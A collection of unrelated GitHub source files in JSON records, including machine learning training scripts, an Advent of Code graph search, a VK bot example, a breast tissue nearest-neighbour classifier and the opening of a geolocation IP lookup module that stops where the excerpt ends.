DataLoader(dataset=dataset,\n batch_size=1)\n criterion = ShuffleLoss(lambd=1)\n optimizer = torch.optim.AdamW(model.parameters(),\n lr=0.01, )\n torch.autograd.set_detect_anomaly(True)\n for i in range(1000):\n for playlist in data_loader:\n criterion.zero_grad()\n out: torch.Tensor = model(playlist)\n # print(torch.argmax(out[0, 0, :]))\n loss = criterion(out, playlist[\"constant\"])\n print(loss.item())\n loss.backward()\n optimizer.step()\n return model\n\n\ndef apply_model(playlist, model):\n n = playlist[\"n\"]\n B, N, D = playlist[\"constant\"].shape\n p = model(playlist)\n p_star = project_p(p)[0, :, :]\n print(p_star)\n d_star = p_star @ playlist[\"constant\"][0, :n, :]\n\n d_line = (d_star[:, di] for di in range(D))\n for line in d_line:\n l = line.tolist()\n plt.scatter(list(range(n)), l)\n plt.show()\n\n\nif __name__ == \"__main__\":\n model = ShuffleModel()\n dataset = create_playlist_dataset()\n model = train(model=model, dataset=dataset)\n data_loader = DataLoader(dataset=dataset,\n batch_size=1)\n for playlist in data_loader:\n apply_model(playlist, model=model)\n","repo_name":"AdamSkarboJonsson/deep-playlist-shuffling","sub_path":"supervised_learning/shuffle.py","file_name":"shuffle.py","file_ext":"py","file_size_in_byte":6492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"2360555174","text":"from helpers import cmd\nimport os.path\n\n# Have to go one folder up\ncmd.setBase(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\ncommands = [\n\t# Django\n\tcmd.relative(\"\"),\n\t[\"git\", \"submodule\", \"init\"],\n\t[\"git\", \"submodule\", \"update\"],\n\tcmd.relative(\"server/dobby\"),\n\t[\"git\", \"submodule\", \"init\"],\n\t[\"git\", \"submodule\", \"update\"],\n\tcmd.relative(\"server/djangoserver\"),\n\t[\"python\", \"manage.py\", \"syncdb\"],\n\t[\"python\", \"load_default_data.py\"]\n]\n\ndef run():\n\tcmd.run(commands)\n\n# And run.\nif __name__ == \"main\":\n\trun()","repo_name":"ialexi/Contacts","sub_path":"commands/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"79"} +{"seq_id":"72207716736","text":"\"\"\"day12\"\"\"\n\nfrom collections import deque\nimport numpy as np\n\nDEBUG, TEST = False, False\nDAY = \"12\"\n\n\nclass Graph:\n def __init__(self, graph: np.ndarray):\n self.graph = graph\n self.rows = graph[:, 0].size\n self.cols = graph[0].size\n self.edges = np.array([[0 for c in range(self.cols)] for r in range(self.rows)])\n\n def addEdge(self, r: int, c: int, height: int):\n self.edges[r, c] = height\n\n def bfs(self, start: str, target: str):\n queue: deque[tuple[tuple[int, int], int]] = deque()\n visited = set()\n # using array of vectors instead of tuples for that sweet sweet vector addition\n dirs = [\n np.array([0, 1]),\n np.array([0, -1]),\n np.array([1, 0]),\n np.array([-1, 0]),\n ]\n\n for r, row in enumerate(self.graph):\n for c, col in enumerate(row):\n if col == start:\n queue.appendleft(((r, c), 0))\n\n while queue:\n node, height = queue.pop()\n\n if self.graph[node] == target:\n return height\n\n if node not in visited:\n visited.add(node)\n\n for d in dirs:\n neighbor = node + d\n if 0 <= neighbor[0] < self.rows and 0 <= neighbor[1] < self.cols:\n if self.edges[tuple(neighbor)] <= 1 + self.edges[node]:\n queue.appendleft((tuple(neighbor), height + 1))\n\n\ndef solve(graph, start):\n heightMap = {letter: i for i, letter in enumerate(\"abcdefghijklmnopqrstuvwxyz\")}\n heightMap[\"S\"] = 0\n heightMap[\"E\"] = 25\n\n g = Graph(np.array(graph))\n\n for r, row in enumerate(graph):\n for c, col in enumerate(row):\n g.addEdge(r, c, heightMap[col])\n\n print(g.bfs(start, \"E\"))\n\n\nif __name__ == \"__main__\":\n # TEST = True\n # DEBUG = True\n datasets = [f\"./day{DAY}/day{DAY}input.txt\", f\"./day{DAY}/testday{DAY}input.txt\"]\n filename = datasets[1] if TEST else datasets[0]\n with open(file=filename, mode=\"r\", encoding=\"utf8\") as file:\n lines = [list(line.strip()) for line in file.readlines()]\n solve(lines, \"S\")\n solve(lines, \"a\")\n","repo_name":"m-ttaylor/adventofcode2022","sub_path":"day12/day12.py","file_name":"day12.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"71577294334","text":"from tasmanium import logger\nfrom tasmanium.registrars import Given\n\nl = logger.getLogger(__name__)\n\n\n@Given(\"a user which exists\")\ndef create_user_that_exists(context):\n l.info(f\"hello from the step 'Given a user which exists' - his data are {context.data_table} \")\n\n if context.data_table[0]['name'] == 'First B butterfly':\n context.attach_plaintext(data=\"A failing file in a failing test.\")\n assert False, \"assertion failed intentionally\"\n\n context.attach_plaintext(filename=\"success.txt\", data=\"this step succeeded!\", description=\"Some description of this file.\")\n context.attach_plaintext(filename=\"success2.txt\", data=\"This step succeeded as well!\")\n\n with open(\"D:/cool-crab.png\", \"rb\") as f:\n context.step.attach_image(filename=\"cool-crab.png\", data=f.read(), description=\"We can do pictures as well!\")\n\n context.attach_plaintext(filename=\"success3.txt\", data=\"Hi there! I am inside the file wee!\",\n description=\"Attach files anytime inside the step!\")\n\n with open(\"D:/lipsum.txt\", \"r\") as f:\n context.attach_plaintext(filename=\"lipsum.txt\", data=f.read(), description=\"This is a long file, check it out.\")\n\n # browser = webdriver.Remote(\n # desired_capabilities=webdriver.DesiredCapabilities.FIREFOX,\n # command_executor='http://localhost:4444/wd/hub'\n # )\n # from time import sleep\n # for _ in range(10):\n # browser.get(\"https://www.seznam.cz\")\n # sleep(1)\n # browser.get(\"https://www.google.com\")\n # sleep(1)\n # browser.get(\"https://www.atlas.cz\")\n # sleep(1)\n # browser.get(\"https://www.novinky.cz\")\n # sleep(1)\n # browser.get(\"https://www.yahoo.com\")\n\n\n@Given(\"a user which {status}\")\ndef create_user_doing_something(context, status):\n l.info(f\"hello from the step 'Given a user which {{status}}' - i am '{status}' right now\")\n l.info(f\"my docstring type is {context.docstring_type}, my docstring is {context.docstring}\")\n l.info(f\"my docstring parsed as json is {context.docstring_json}\")\n context.attach_plaintext(filename=f\"success-status.txt\", data=f\"i am '{status}' right now\")\n","repo_name":"Dri0m/tasmanium","sub_path":"steps/subcategory/given.py","file_name":"given.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"29813307039","text":"import logging\nimport os, time, gc, argparse, math\nimport torch\nimport torch.nn as nn\nimport numpy as np\nfrom transformers import GPT2Tokenizer, GPT2LMHeadModel, GPT2Config, Conv1D\nfrom tensorboardX import SummaryWriter\nfrom tqdm import tqdm\nimport copy\nfrom util import init_para_frompretrained, num_params, prepare_dataset, linear_schedule, switch_schedule\nfrom model import VAEModel\nimport nltk\nfrom bi_training_core import train_step, Device\nfrom bi_loss import bidirectional_loss\nfrom bi_eval_step import validate_step, plot_input_distribution, generate_samples\n\nnltk.download('punkt')\nnltk.download('stopwords')\n# devices = '0'\n# os.environ[\"CUDA_VISIBLE_DEVICES\"] = devices\n\n\ndef main():\n logger = logging.getLogger(\"transformers\")\n\n parser = argparse.ArgumentParser()\n parser.add_argument('experiment', type=str)\n\n # Default parameters are set based on single GPU training\n parser.add_argument('--lr', type=float, default=5e-5)\n parser.add_argument(\"--seed\", type=int, default=0)\n\n parser.add_argument('--data_type', type=str, default='t1', choices=['t' + str(i) for i in range(9)], help=\"t: type\")\n parser.add_argument('--model_type', type=str, default='cvae', choices=['cvae', 'ae_vae_fusion'])\n parser.add_argument('--iterations', type=int, default=101640 * 4) # wp 850001 wi 300001 ax 300001 yp 800001\n parser.add_argument('--dataset', type=str, default='wi', choices=['ax', 'yp', 'wp', 'wi'], help=\"Dataset to use for training\")\n parser.add_argument('--warmup', type=int, default=10000,\n help=\"Amount of iterations to warmup, then decay. (-1 for no warmup and decay)\")\n\n parser.add_argument('--switch-time', type=float, default=0,\n help=\"Percentage of iterations to spend on short sequence training.\")\n parser.add_argument('--data-dir', type=str, default='data')\n parser.add_argument('--out-dir', type=str, default='out')\n parser.add_argument('--load', type=str, help='path to load model from') # , default='out/test/'\n parser.add_argument('--workers', default=1, type=int, metavar='N',\n help='number of data loading workers')\n # use GPU\n parser.add_argument('--gpu', default=0, type=int)\n parser.add_argument('--no_gpu', action=\"store_true\")\n\n parser.add_argument('--fp16', action='store_true', help=\"Train using FP16?\")\n parser.add_argument('--fp16_opt_level', default='O0', type=str, required=False)\n\n # KL cost annealing, increase beta from beta_0 to 1 in beta_warmup steps\n parser.add_argument('--beta_0', default=1.00, type=float)\n parser.add_argument('--beta_warmup', type=int, default=50000)\n # cyc_vae parameters\n parser.add_argument('--cycle', type=int, default=101640)\n\n parser.add_argument('--add_input', action=\"store_true\")\n parser.add_argument('--add_attn', action=\"store_true\")\n parser.add_argument('--add_softmax', action=\"store_true\")\n parser.add_argument('--attn_proj_vary', action=\"store_true\")\n\n parser.add_argument('--learn_prior', action=\"store_true\")\n\n parser.add_argument('--train_batch_size', type=int, default=1)\n parser.add_argument('--val_batch_size', type=int, default=1)\n parser.add_argument('--test_batch_size', type=int, default=1)\n\n parser.add_argument('--short_seq_len', type=int, default=512)\n parser.add_argument('--long_seq_len', type=int, default=1024)\n\n # Loss weighting args\n parser.add_argument('--fwd_loss_weight', type=float, default=1, help=\"Weight multiplier for forward loss.\")\n parser.add_argument('--bkwd_loss_weight', type=float, default=1, help=\"Weight multiplier for backward loss.\")\n parser.add_argument('--all_sentence_loss_weight', type=float, default=1, help=\"Weight multiplier for all previous sentence loss (0 to A -> B).\")\n parser.add_argument('--prompt_loss_weight', type=float, default=1, help=\"Weight multiplier for backward prompt loss.\")\n \n # Reload args\n parser.add_argument('--reload_path', type=str, default='')\n parser.add_argument('--reload_iters', type=int, default=0)\n\n # NOTE: Use for changing the arguments of the program\n args = parser.parse_args()\n\n if args.model_type == 'cvae':\n args.learn_prior = True\n else:\n args.learn_prior = False\n\n devices = '0'\n\n # GPU\n if not torch.cuda.is_available():\n args.no_gpu = True\n\n gpu = not args.no_gpu\n if gpu:\n logger.info(f\"There are {torch.cuda.device_count()} available GPUs!\")\n logger.info('Using GPU devices {}'.format(devices))\n torch.cuda.set_device(args.gpu)\n logger.info('Current single GPU: {}'.format(torch.cuda.current_device()))\n\n Device.set_device(devices, args.gpu if gpu else \"cpu\")\n\n # randomness\n np.random.seed(args.seed)\n torch.random.manual_seed(args.seed)\n if gpu: torch.cuda.manual_seed(args.seed); torch.cuda.manual_seed_all(args.seed)\n\n logger.info('\\n*******************************************************************************\\n')\n logger.debug(\"the configuration:\")\n logger.debug(str(args).replace(',', '\\n'))\n\n logger.info('Loading models...')\n\n logger.setLevel(logging.WARNING)\n save_folder = os.path.join(args.out_dir, args.experiment)\n os.makedirs(save_folder, exist_ok=True)\n t_writer = SummaryWriter(os.path.join(save_folder, 'train'), flush_secs=5)\n # importlib.reload(logger)\n # logger.basicConfig(filename=os.path.join(save_folder, 'train.log'), level=logger.INFO, format='%(asctime)s--- %(message)s')\n cache_dir = os.path.join(args.out_dir, 'model_cache')\n os.makedirs(cache_dir, exist_ok=True)\n # Load pre-trained teacher tokenizer (vocabulary)\n tokenizer = GPT2Tokenizer.from_pretrained('gpt2', cache_dir=cache_dir)\n # Hack to allow tokenizing longer sequences.\n tokenizer.max_len = int(1e12)\n gpt2_model = GPT2LMHeadModel.from_pretrained('gpt2', cache_dir=cache_dir)\n logger.info(f'gpt2_params: {num_params(gpt2_model)}') # gpt2: 124439808\n config = GPT2Config()\n config.n_ctx = 1024\n\n # add special tokens\n special_tokens = {\n 'sentence_fwd': '',\n 'sentence_bkwd': ''\n }\n # special_tokens_dict = {\n # 'pad_token': '<|startoftext|>',\n # 'cls_token': '<|startofcond|>',\n # 'sep_token': '<|sepofcond|>',\n # 'mask_token': '<|endofcond|>'\n # }\n # num_added_toks = tokenizer.add_special_tokens(special_tokens_dict)\n logger.info('We have added', len(special_tokens), 'special tokens')\n # # Notice: resize_token_embeddings expect to receive the full size of the new vocab\n # gpt2_model.resize_token_embeddings(len(tokenizer))\n # assert tokenizer.pad_token == '<|startoftext|>'\n\n VAE = VAEModel(config, add_input=args.add_input, add_attn=args.add_attn, add_softmax=args.add_softmax,\n attn_proj_vary=args.attn_proj_vary, learn_prior=args.learn_prior)\n init_para_frompretrained(VAE.transformer, gpt2_model.transformer, share_para=True)\n init_para_frompretrained(VAE.encoder, gpt2_model.transformer, share_para=False)\n if args.learn_prior:\n init_para_frompretrained(VAE.encoder_prior, VAE.encoder, share_para=True)\n VAE.encoder_prior.averageSelfAttention.attention_weights = VAE.encoder.averageSelfAttention.attention_weights\n \n VAE.lm_head.weight = gpt2_model.lm_head.weight\n if VAE.add_softmax:\n VAE.lm_head_rep = Conv1D(*gpt2_model.lm_head.weight.size())\n # VAE.lm_head_rep = LM_head_rep(*gpt2_model.lm_head.weight.size()[::-1])\n logger.setLevel(logging.INFO)\n logger.info(f'VAE_params: {num_params(VAE)}') # 286694400\n args.load = args.reload_path\n if args.load:\n logger.info('Loading model weights...')\n state = torch.load(os.path.join(args.load), map_location=\"cpu\")\n if 'module' in list(state.keys())[0]: # model_path is data parallel model with attr 'module'\n state_copy = copy.copy(state)\n keys = state_copy.keys()\n for k in keys:\n state[k.replace('module.', '')] = state.pop(k)\n VAE.load_state_dict(state)\n gc.collect()\n logger.info('Done.')\n\n # fix pre-trained parameters before certain iterations\n tuning_all_after_iters = 40000\n tuning_all = False\n for name, parameter in VAE.named_parameters():\n # logger.info((name, parameter.requires_grad))\n new_pars = ['c_z', 'attention_weights', 'mean', 'logvar', 'input_proj', 'attn_proj', 'Nu_fc1', 'Nu_fc2', 'lm_head_rep']\n\n if not any([True if n in name else False for n in new_pars]):\n parameter.requires_grad = False\n\n logger.info('Setup data...')\n curr_seq_len = args.short_seq_len\n train_loader, val_loader, test_loader = prepare_dataset(\n args.data_dir, args.dataset, tokenizer,\n args.train_batch_size, curr_seq_len,\n args.val_batch_size, curr_seq_len,\n args.test_batch_size, curr_seq_len,\n make_test=True,\n num_workers=args.workers, data_type=args.data_type\n )\n logger.info('Done.')\n\n logger.info('Wrapping models and optimizers...')\n\n # Apply linear scaling rule to increase batch size for short sequence training.\n curr_batch_size = args.train_batch_size\n curr_seq_len = args.short_seq_len\n lr_schedule = switch_schedule(linear_schedule(args), curr_batch_size / curr_seq_len,\n int(args.iterations * args.switch_time))\n VAE = VAE.to(Device.device)\n VAE.train()\n\n optimizer = torch.optim.AdamW(VAE.parameters(), lr=args.lr)\n scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer, lr_schedule)\n\n loss_fn = nn.CrossEntropyLoss(reduction='none')\n logger.info('Done.')\n\n logger.info(\"Begin training iterations\")\n max_val_batches = 20000 # max num. of val batches\n logger.info(\"Total iteration: %d\" % args.iterations)\n e = 0 # number of epoch\n\n num_iters = 0\n # Resume training from a checkpoint\n if args.load:\n num_iters = int(args.reload_iters)\n logger.info(\"Resume training from iteration %d\" % num_iters)\n\n optimizer.zero_grad()\n beta = args.beta_0\n\n def eval_step():\n '''Evaluates the performance of the model after a training step'''\n\n logger.info(\"Measuring Input distribution...\")\n plot_input_distribution(VAE, tokenizer, args.model_type, test_loader, args.dataset, num_iters, save_folder)\n logger.info(\"Validation Step...\")\n validate_step(VAE, tokenizer, args.model_type, val_loader, num_iters, max_val_batches, loss_fn, save_folder)\n logger.info(\"Generate output samples...\")\n generate_samples(VAE, tokenizer, args, test_loader, num_iters, save_folder)\n\n def calculate_loss(x_mask, x_tokens, y_mask, y_tokens, input_tokens, target_tokens, mask):\n '''Calculates the loss of the model forward, backward, and for the sentence combinations'''\n\n # This computes a training step going from input to output and computes the losses\n # NORMAL LOSS, Prompt -> Story\n if args.fwd_loss_weight > 0:\n loss_forward, ce_loss_forward, kl_loss_forward = train_step(VAE, optimizer, x_mask, x_tokens, y_mask, y_tokens,\n input_tokens, target_tokens, mask, loss_fn, beta, args.model_type)[-1]\n else:\n loss_forward, ce_loss_forward, kl_loss_forward = 0, 0, 0\n\n # PROMPT LEVEL LOSS, Story -> Prompt\n if args.prompt_loss_weight > 0:\n loss_prompt_backward, ce_loss_prompt_backward, kl_loss_prompt_backward = train_step(VAE, optimizer, y_mask, y_tokens, x_mask, x_tokens,\n target_tokens, input_tokens, mask, loss_fn, beta, args.model_type)[-1]\n else:\n loss_prompt_backward, ce_loss_prompt_backward, kl_loss_prompt_backward = 0, 0, 0\n\n # BIDIRECTIONAL LOSSES\n\n # This finds the total loss for the previous sentence, Sentence B -> Sentence A and Sentence A -> Sentence B\n if args.bkwd_loss_weight > 0:\n previous_sentence_loss_output = bidirectional_loss(\"previous_sentence\", VAE, optimizer, y_mask,\n y_tokens, mask, loss_fn, beta, args.model_type, tokenizer, curr_batch_size, curr_seq_len, input_tokens)\n (total_loss_sentence_b_a, total_loss_sentence_a_b, total_ce_loss_sentence_b_a,\n total_ce_loss_sentence_a_b, total_kl_loss_sentence_b_a, total_kl_loss_sentence_a_b) = previous_sentence_loss_output\n else:\n total_loss_sentence_b_a, total_loss_sentence_a_b, total_ce_loss_sentence_b_a, total_ce_loss_sentence_a_b, total_kl_loss_sentence_b_a, total_kl_loss_sentence_a_b = 0, 0, 0, 0, 0, 0\n \n # This finds the total loss for all previous sentences, Sentence B -> All Previous Sentences\n if args.all_sentence_loss_weight > 0:\n all_previous_sentences_loss_output = bidirectional_loss(\"all_previous_sentences\", VAE, optimizer, y_mask,\n y_tokens, mask, loss_fn, beta, args.model_type, tokenizer, curr_batch_size, curr_seq_len, input_tokens)\n (total_loss_all_previous_sentences, total_ce_loss_all_previous_sentences, total_kl_loss_all_previous_sentences) = all_previous_sentences_loss_output\n else:\n total_loss_all_previous_sentences, total_ce_loss_all_previous_sentences, total_kl_loss_all_previous_sentences = 0, 0, 0\n\n # TOTAL LOSSES\n loss = (args.fwd_loss_weight*loss_forward) + (args.prompt_loss_weight*loss_prompt_backward) + \\\n (args.bkwd_loss_weight*total_loss_sentence_b_a) + \\\n (args.bkwd_loss_weight*total_loss_sentence_a_b) + (args.all_sentence_loss_weight*total_loss_all_previous_sentences)\n\n ce_loss = (args.fwd_loss_weight*ce_loss_forward) + (args.prompt_loss_weight*ce_loss_prompt_backward) + \\\n (args.bkwd_loss_weight*total_ce_loss_sentence_b_a) + \\\n (args.bkwd_loss_weight*total_ce_loss_sentence_a_b) + (args.all_sentence_loss_weight*total_ce_loss_all_previous_sentences)\n\n kl_loss = (args.fwd_loss_weight*kl_loss_forward) + (args.prompt_loss_weight*kl_loss_prompt_backward) + \\\n (args.bkwd_loss_weight*total_kl_loss_sentence_b_a) + \\\n (args.bkwd_loss_weight*total_kl_loss_sentence_a_b) + (args.all_sentence_loss_weight*total_kl_loss_all_previous_sentences)\n\n return loss, ce_loss, kl_loss\n\n # eval_step()\n torch.save(VAE.state_dict(), os.path.join(save_folder,\n 'model_' + '{:07d}'.format(num_iters) +\n f'_bidirectional_{args.fwd_loss_weight}_{args.bkwd_loss_weight}_{args.all_sentence_loss_weight}_{args.prompt_loss_weight}' + '.pt')\n )\n\n e = 0\n while num_iters < args.iterations:\n # Run epoch\n st = time.time()\n\n # Training\n logger.info('\\n----------------------------------------------------------------------')\n logger.info(\"Training loop. Batches: %d\" % len(train_loader))\n\n with tqdm(total=len(train_loader)) as pbar:\n for i, (x_mask, x_tokens, y_mask, y_tokens, input_tokens, target_tokens, mask) in enumerate(train_loader):\n # NOTE: Swaps all the variables for the bidirectional running of the program\n # if num_iters % args.cycle >= args.cycle - args.beta_warmup:\n # beta = min(1.0, beta + (1. - args.beta_0) / args.beta_warmup)\n\n if not tuning_all and num_iters >= tuning_all_after_iters:\n for name, parameter in VAE.named_parameters():\n # logger.info((name, parameter.requires_grad))\n parameter.requires_grad = True\n tuning_all = True\n\n try:\n loss, ce_loss, kl_loss = calculate_loss(x_mask, x_tokens, y_mask, y_tokens, input_tokens, target_tokens, mask)\n except RuntimeError as e:\n if 'out of memory' in str(e):\n logger.info('| WARNING: ran out of memory, skipping batch')\n torch.cuda.empty_cache()\n gc.collect()\n continue\n else:\n raise e\n\n if num_iters % 100 == 0:\n logger.info(f\"CURRENT ITERATION: {num_iters}\")\n logger.info(f\"CURRENT LOSS: Loss: {loss}, CE: {ce_loss}, KL: {kl_loss}\")\n\n lr = scheduler.get_last_lr()[0]\n # Log to Tensorboard\n t_writer.add_scalar('loss', loss, num_iters)\n t_writer.add_scalar('ppl', math.exp(min(ce_loss, 10)), num_iters)\n t_writer.add_scalar('lr', lr, num_iters)\n t_writer.add_scalar('iter_time', time.time() - st, num_iters)\n t_writer.add_scalar('kl', kl_loss, num_iters)\n t_writer.add_scalar('beta', beta, num_iters)\n\n if args.model_type == 'ae_vae_fusion':\n # Output is never defined. Raise error\n raise NotImplementedError()\n loss, ce_loss, kl_loss = output[0]\n # Log to Tensorboard\n t_writer.add_scalar('ae_loss', loss, num_iters)\n t_writer.add_scalar('ae_kl', kl_loss, num_iters)\n\n st = time.time()\n\n if args.warmup != -1:\n scheduler.step()\n \n end = num_iters >= args.iterations\n if end: break\n num_iters += 1\n pbar.update(1)\n\n if num_iters % args.cycle == 0:\n beta = args.beta_0\n logger.info('KL annealing restart')\n\n if num_iters % 10000 == 0:\n eval_step()\n\n if num_iters % 5000 == 0:\n logger.info('Saving model...')\n logger.info(\"Iteration completed: %d, remained %d\" % (num_iters, args.iterations - num_iters))\n logger.info(\"Saving model...\")\n logger.info('\\n------------------------------------------------------')\n torch.save(VAE.state_dict(), os.path.join(save_folder,\n 'model_' + '{:07d}'.format(num_iters) +\n f'_bidirectional_{args.fwd_loss_weight}_{args.bkwd_loss_weight}_{args.all_sentence_loss_weight}_{args.prompt_loss_weight}' + '.pt')\n )\n\n if args.switch_time > 0 and num_iters == int(args.iterations * args.switch_time):\n logger.info(\"Switch to long sequence training\")\n curr_seq_len = args.long_seq_len\n curr_batch_size = args.train_batch_size\n train_loader, val_loader, test_loader = prepare_dataset(\n args.data_dir, args.dataset, tokenizer,\n args.train_batch_size, curr_seq_len,\n args.val_batch_size, curr_seq_len,\n args.test_batch_size, curr_seq_len,\n make_test=True,\n num_workers=args.workers, data_type=args.data_type\n )\n\n if not end:\n e += 1\n logger.info(\"Training loop. The ith epoch completed: %d\" % e)\n\n torch.save(VAE.state_dict(), os.path.join(save_folder,\n 'model_' + '{:07d}'.format(num_iters) +\n f'_bidirectional_{args.fwd_loss_weight}_{args.bkwd_loss_weight}_{args.all_sentence_loss_weight}_{args.prompt_loss_weight}' + '.pt'))\n logger.info(\"Training complete.\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"AIRC-ASR/AIRC-ASR-Experimental","sub_path":"bidirectional_predictions/TransformerCVAE/train_bidirectional.py","file_name":"train_bidirectional.py","file_ext":"py","file_size_in_byte":19509,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"79"} +{"seq_id":"8256244384","text":"import vk_api\nfrom vk_api.longpoll import VkLongPoll, VkEventType\n\nfrom vktools import Keyboard, ButtonColor, Text, Carousel, Element\n\nvk = vk_api.VkApi(token=\"token\")\n\n\ndef send_message(user_id, message, carousel=None):\n values = {\n \"user_id\": user_id,\n \"message\": message,\n \"random_id\": 0\n }\n\n if carousel is not None:\n values[\"template\"] = carousel.add_carousel()\n\n vk.method(\"messages.send\", values)\n\n\nfor event in VkLongPoll(vk).listen():\n if event.type == VkEventType.MESSAGE_NEW and event.to_me:\n text = event.text.lower()\n user_id = event.user_id\n\n if text == \"test carousel\":\n carousel = Carousel(\n [\n Element(\n \"Title 1\",\n \"Description 1\",\n \"-203980592_457239030\", # photo_id\n \"https://vk.com/fsoky\", # redirect url, if user click on element\n [Text(\"Button 1\", ButtonColor.POSITIVE)]\n ),\n Element(\n \"Title 2\",\n \"Description 2\",\n \"-203980592_457239030\", # photo_id\n \"https://vk.com/fsoky\", # redirect url, if user click on element\n [Text(\"Button 2\", ButtonColor.PRIMARY)]\n )\n ]\n )\n\n send_message(user_id, \"VkTools Carousel by Fsoky ~\", carousel=carousel)","repo_name":"Fsoky/vktools","sub_path":"examples/template_example.py","file_name":"template_example.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"79"} +{"seq_id":"9484296564","text":"#Nearest neighbour approach to classification of breast tissue after pre-processing data and removing bad fields from the dataset(NNBTClassifier+)\r\n\r\nimport datetime\r\nprint(datetime.datetime.now())\r\n\r\ndef dist(l1, l2):\r\n temp = 0\r\n for x in [2,3,4,5,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,24,25,26,27,29]:\r\n temp += (float(l1[x]) - float(l2[x])) ** 2\r\n distance = temp ** 0.5\r\n return distance\r\n\r\nf = open(\"wbtdPP.txt\", \"r\")\r\n\r\ndata = []\r\nrecord = []\r\ndList = []\r\nnnList = []\r\ndiagnosis = []\r\n\r\nfor line in f:\r\n sTemp = str(line) \r\n record = list(sTemp.split(\",\"))\r\n data.append(record)\r\n\r\nf.close()\r\n\r\nprint(\"Total size of dataset: \", len(data), \" records found.\")\r\n\r\n#Building a prediction list\r\n\r\nfor i in range(0, len(data)):\r\n dList = []\r\n for j in range(0, len(data)):\r\n if i != j:\r\n d = dist(data[i], data[j])\r\n dList.append(d)\r\n for z in range(0, len(dList)):\r\n if dList[z] == min(dList):\r\n nnList.append(z)\r\n print(\".\", end = \"\")\r\nprint()\r\ncorrectpred = 0\r\n\r\nfor q in range(0, len(data)):\r\n if data[q][1] == data[nnList[q]][1]:\r\n correctpred += 1\r\naccuracy = (correctpred / int(len(data))) * 100\r\n\r\nprint(\"Accuracy of NNBTPP+ Classifier =\", accuracy, \"%\")\r\nprint(\"No. of correct predictions =\", correctpred)\r\nprint(datetime.datetime.now())\r\ninput()\r\n","repo_name":"akkivasu/Breast-Tissue-Analysis","sub_path":"NNBTClassifierPP+.py","file_name":"NNBTClassifierPP+.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"14253534820","text":"import sys\nsys.stdin = open('W.txt')\n\n\ndef dfs(r, c, idx):\n global cnt\n if visited[r][c] != -1: # 이미 지난 지점이면 일단 컷!\n if visited[r][c] == idx: # 시작지점에 다시 도달했을 때만 +1\n cnt += 1\n return\n\n visited[r][c] = idx # 방문체크\n d = mat[r][c]\n new_r, new_c = r + dirs[d][0], c + dirs[d][1]\n if 0 <= new_r < N and 0 <= new_c < M:\n dfs(new_r, new_c, idx)\n\n\nN, M = map(int, input().split())\nmat = [list(input()) for _ in range(N)]\nvisited = [[-1]*M for _ in range(N)]\ndirs = {'U': (-1, 0), 'D': (1, 0), 'L': (0, -1), 'R': (0, 1)} # 방향설정 딕셔너리\ncnt = idx = 0\nfor i in range(N):\n for j in range(M):\n dfs(i, j, idx)\n idx += 1\nprint(cnt)","repo_name":"woohree/ALGO2ITHM_STUDY","sub_path":"baekjoon/07월/0725 스도쿠 피리부는사나이 순서 로봇시뮬레이션 단어덧셈/g3_16724_피리부는사나이/woohree.py","file_name":"woohree.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"} +{"seq_id":"28709433345","text":"import urllib.request\nimport json\n\n# Header declarations for output print.\nhostTitle = \"HOST DETAILS\\n\"\ncountryTitle = \"COUNTRY DETAILS\\n\"\n\n# Format printing constants.\ndotNumber = 70\ncountryPadding = 50\ndetailsPadding = 40\n\n'''\nAll available types of responses for IP along with their urls.\n'''\n\nipValidTypes = ['plain', 'json', 'jsonp']\nipPlain = 'https://get.geojs.io/v1/ip'\nipJson = 'https://get.geojs.io/v1/ip.json'\nipLookup = {'plain' : ipPlain, 'json' : ipJson}\n\n'''\nAll available types of responses for country along with their urls.\n'''\n\ncountryValidTypes = ['plain', 'plainfull', 'json', 'jsonp']\ncountryPlain = 'https://get.geojs.io/v1/ip/country'\ncountryFullPlain = 'https://get.geojs.io/v1/ip/country/full'\ncountryJson = 'https://get.geojs.io/v1/ip/country/{ip address}.json'\ncountryLookup = {'plain' : countryPlain, 'plainfull' : countryFullPlain, 'json' : countryJson}\n\n'''\nAll available types of responses for all geo data along with their urls.\n'''\ngeoJson = 'https://get.geojs.io/v1/ip/geo/{ip address}.json'\n\n'''\nAll available types of responses for DNS PTR records.\n'''\nptrPlain = 'https://get.geojs.io/v1/dns/ptr'\n\n# Gets the response of a url that returns plain text as response.\ndef getPlainResponse(url):\n return urllib.request.urlopen(url).read().decode().strip()\n\n# Gets the response of a url that returns json as response and replaces the default argument '{ip address}' with the IP address whose country we're looking\ndef getJsonResponse(url, ipAddress):\n response = urllib.request.urlopen(url.replace('{ip address}',ipAddress)).read().decode()\n outDict = json.loads(response)\n return outDict\n\n# Gets host's IP address, having default 'returnType' as 'plain', which can be changed accordingly.\ndef getIP(returnType = 'plain'):\n if isinstance(returnType,str):\n returnType = returnType.lower()\n if returnType in ipValidTypes:\n if returnType == 'plain':\n return getPlainResponse(ipLookup[returnType])\n else:\n return getJsonResponse(ipLookup[returnType],'')\n else:\n raise ValueError('\\'returnType\\' does not belong in valid types: ' + str(ipValidTypes))\n else:\n raise TypeError('\\'returnType\\' must be of type \\'str\\'(' + type(returnType).__name__ + ' was given).')\n\n# Gets the country of a specific IP address.\ndef getCountry(ipAddress, returnType = 'plain'):\n if not isinstance(ipAddress,str):\n raise TypeError('\\'ipAddress\\' is not an instance of \\'str\\'('+ type(ipAddress).__name__ + ' was given).')\n if isinstance(returnType,str):\n returnType = 